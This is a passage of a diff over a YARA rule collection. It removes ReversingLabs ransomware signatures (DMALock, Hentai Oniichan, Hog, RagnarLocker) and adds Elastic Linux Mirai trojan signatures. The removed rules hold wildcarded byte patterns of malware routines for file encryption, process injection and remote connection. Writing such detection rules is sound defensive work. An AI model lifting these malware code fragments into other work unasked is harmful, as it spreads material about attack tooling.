-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 68 ?? ??
-            ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56
-            32 DB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 56
-            6A ?? 89 45 ?? 89 45 ?? 66 89 45 ?? 8D 45 ?? 6A ?? 50 88 5D ?? E8 ?? ?? ?? ?? 6A ??
-            8D 4D ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? 6A ?? 57 56 E8
-            ?? ?? ?? ?? 83 C4 ?? 84 DB 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 5B 8B 4D ??
-            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$dmalock_v4_encrypt_file_2 = {
-            68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ??
-            ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B
-            D8 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 B5 ?? ?? ?? ?? 85 F6 74
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46 ?? 85 C0 74 ?? 8B 75 ?? B9 ?? ?? ??
-            ?? 8B F8 F3 A5 66 A5 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 46
-            ?? EB ?? 33 F6 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 7E ?? 57 89 35 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B C6 E8 ?? ?? ?? ?? 84 C0 74 ?? 8B 4E ?? 8B 17 56 6A
-            ?? 6A ?? 68 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? C6 46 ?? ?? 8B B5 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 56 6A ?? 6A ?? 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 56 52 6A ?? 53 E8 ?? ?? ?? ?? 8B 45 ??
-            8B 8D ?? ?? ?? ?? 56 50 6A ?? 51 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33
-            CD B8 ?? ?? ?? ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
+		$a = { 50 46 00 13 10 11 16 17 00 57 51 47 50 00 52 43 51 51 00 43 }
 
 	condition:
-		uint16(0)==0x5A4D and ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_2) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_3) or ($dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 and $dmalock_v2_enum_logical_disks) or ($dmalock_v4_encrypt_file_1 and $dmalock_v4_encrypt_file_2 and $dmalock_v4_remote_server_communication and $dmalock_v2_enum_logical_disks)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Hentaioniichan : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_B548632D : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Hentai Oniichan ransomware."
-		author = "ReversingLabs"
-		id = "cd5e916f-7195-5bb6-abff-b08231053f9a"
-		date = "2021-03-05"
-		modified = "2021-03-05"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HentaiOniichan.yara#L1-L140"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "153526e5a2f05bc8e3f77d83eefce6b4cd962ea093b6f1c0ab8fcabe8d8a7ad9"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "b548632d-7916-444a-aa68-4b3e38251905"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1403-L1421"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "639d9d6da22e84fb6b6fc676a1c4cfd74a8ed546ce8661500ab2ef971242df07"
+		logic_hash = "bfb46457f8b79548726e3988d649f94e04f26f9e546aae70ece94defae6bab8a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "HentaiOniichan"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8b355e9c1150d43f52e6e9e052eda87ba158041f7b645f4f67c32dd549c09f28"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
-            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
-            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
-            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
-            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
-            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
-            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
-        }
-		$find_files_p2 = {
-            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
-            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
-            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
-            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
-            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
-            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
-        }
-		$inject_code_into_process = {
-            33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 8B C6 8D 8D
-            ?? ?? ?? ?? 66 8B 11 66 3B 10 75 ?? 66 85 D2 74 ?? 66 8B 51 ?? 66 3B 50 ?? 75 ?? 83
-            C1 ?? 83 C0 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? ??
-            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 15 ?? ?? ?? ?? 39 85 ?? ?? ?? ??
-            74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ??
-            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
-            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ??
-            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
-            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ??
-            ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B
-            4D ?? 85 C9 74 ?? 51 8B D0 E8 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ??
-            2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 8D 0C 40 8B C6 C1 E1 ?? 81 F9 ?? ?? ?? ??
-            72 ?? 8B 76 ?? 83 C1 ?? 2B C6 83 C0 ?? 83 F8 ?? 77 ?? 51 56 E8 ?? ?? ?? ?? 83 C4 ??
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3
-            5B C3 E8
-        }
-		$remote_connection_p1 = {
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45
-            ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 28 45
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45 ?? 0F 28 45
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45 ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45
-            ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 0F 29 45 ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 29 45
-        }
-		$remote_connection_p2 = {
-            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45
-            ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41
-            ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ??
-            ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51
-            0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            0F 43 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 6A ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 50 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43
-            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 FA ?? 72 ?? 8B
-            8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
-            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4
-        }
-		$encrypt_files = {
-            8B FF 55 8B EC 83 EC ?? 8B 4D ?? 89 4D ?? 53 56 8B 75 ?? 57 8B 7D ?? 89 7D ?? 85 C9
-            0F 84 ?? ?? ?? ?? 85 FF 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B C6 8B D6 C1 FA ?? 83 E0 ?? 6B C0 ?? 89
-            55 ?? 8B 14 95 ?? ?? ?? ?? 89 45 ?? 8A 5C 02 ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1
-            F7 D0 A8 ?? 74 ?? 8B 45 ?? F6 44 02 ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ??
-            83 C4 ?? 56 E8 ?? ?? ?? ?? 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 0F 87 ?? ?? ??
-            ?? FF 75 ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8D
-            45 ?? 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 0C 85 ?? ?? ?? ?? 8B 45 ??
-            80 7C 01 ?? ?? 7D ?? 0F BE C3 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 0F 85 ?? ?? ??
-            ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ??
-            ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 01 ?? 8D 7D ??
-            33 C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ??
-            FF 15 ?? ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 45 ?? 85 C0 75 ?? 8B 45 ??
-            85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
-            30 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? 8B 4D ?? 8B
-            04 85 ?? ?? ?? ?? F6 44 08 ?? ?? 74 ?? 80 3F ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 20 ?? E9 ?? ?? ?? ?? 2B 45 ?? EB ?? 33 C0 5F 5E 5B C9 C3
-        }
+		$a = { 00 0B 01 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D 04 9A }
 
 	condition:
-		uint16(0)==0x5A4D and ($inject_code_into_process) and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Hog : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_E0Cf29E2 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Hog ransomware."
-		author = "ReversingLabs"
-		id = "b4f26acf-5ff1-5c49-8cfa-8f619af84efd"
-		date = "2021-10-12"
-		modified = "2021-10-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Hog.yara#L1-L70"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c5cbc79fee9083ed3befa6b0d348f2d38064bb9012b8f0ca11afd7137243866d"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "e0cf29e2-88d7-4aa4-b60a-c24626f2b246"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1423-L1440"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "693e27da8cbab32954cc2c9ba648151ad9fc21fe53251628145d7b436ec5e976"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Hog"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$generate_key = {
-            73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 1A 8D ?? ?? ?? ?? 0C 2B ?? 07 08 6F ?? ?? ?? ?? 08
-            16 28 ?? ?? ?? ?? 0D 06 72 ?? ?? ?? ?? 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 5E 28 ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 26 02 25 17 59 10 ?? 16 30 ?? 06 6F ?? ?? ?? ?? 13 ?? DE ?? 07 2C ??
-            07 6F ?? ?? ?? ?? DC 11 ?? 2A
-        }
-		$find_files = {
-            16 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 16 16 6F ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 00 1F
-            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ??
-            6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 17 31 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ??
-            ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C
-            2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F ??
-            ?? ?? ?? DC 28 ?? ?? ?? ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 26 28 ?? ?? ?? ??
-            DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 2A
-        }
-		$encrypt_files_p1 = {
-            02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ??
-            ?? ?? ?? 31 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 06 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 19
-            73 ?? ?? ?? ?? 0B 02 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ??
-            ?? 17 73 ?? ?? ?? ?? 0D 08 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ??
-            07 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC DE ?? 08 2C ?? 08 6F ?? ?? ??
-            ?? DC DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 02 28 ??
-            ?? ?? ?? DE ?? 26 DE ?? 2A
-        }
-		$encrypt_files_p2 = {
-            73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 8D ?? ?? ??
-            ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0B
-            73 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 09 07 16 07 8E 69 6F ?? ??
-            ?? ?? 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 10 ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 13 ?? DE ?? 06 2C ?? 06 6F ?? ?? ??
-            ?? DC 26 DE ?? 02 2A 11 ?? 2A
-        }
+		$a = { 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($generate_key) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Ragnarlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_1754B331 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects RagnarLocker ransomware."
-		author = "ReversingLabs"
-		id = "3bc3765a-f1f8-59bc-bbe8-6821654b334f"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.RagnarLocker.yara#L1-L108"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "398f0e5e003f87edf90cdea718be6b10470df317214d00db4dc6c4cccc5b6748"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "1754b331-5704-43c1-91be-89c7a0dd29a4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1442-L1460"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d89fc59d0de2584af0e4614a1561d1d343faa766edfef27d1ea96790ac7014b"
+		logic_hash = "fde04b0e31a00326f9d011198995999ff9b15628f5ff4139ec7dec19ac0c59c9"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
